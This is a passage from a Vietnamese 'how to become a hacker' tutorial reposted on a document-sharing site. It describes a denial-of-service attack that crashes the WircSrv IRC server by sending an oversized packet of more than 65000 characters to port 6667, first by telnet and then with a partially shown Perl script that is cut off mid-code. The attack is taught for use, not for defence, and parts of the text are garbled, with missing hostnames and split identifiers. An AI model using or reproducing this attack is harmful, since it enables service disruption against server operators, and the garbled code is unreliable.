tailieunhanh - Những hiểu biết cơ bản nhất để trở thành Hacker Phần 7

WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667. Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667: | Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 7 [12/22/2004 10:10:00 AM] 42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server : WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667. Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667: Nếu bạn dùng Unix: [hellme@$ telnet 6667 Trying . Connected to . Escape character is `^]`. [buffer] Windows cũng tương tự: telnet 6667 Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự . Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ): CODE #!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl use Getopt::Std; use Socket; getopts(`s:`, \%args); if(!defined($args{s})){&usage;} my($serv,$port,$foo,$number,$data,$buf,$in_addr,$pa ddr,$proto); $foo = ``A``; # Đây là NOP $number = ``65000``; # Đây là tất cả số NOP $data .= $foo x $number; # kết quả của $foo times $number $serv = $args{s}; # lệnh điều khiển server từ xa $port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667 $buf = ``$data``; $in_addr = (gethostbyname($serv))[4]

TÀI LIỆU MỚI ĐĂNG
crossorigin="anonymous">
Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.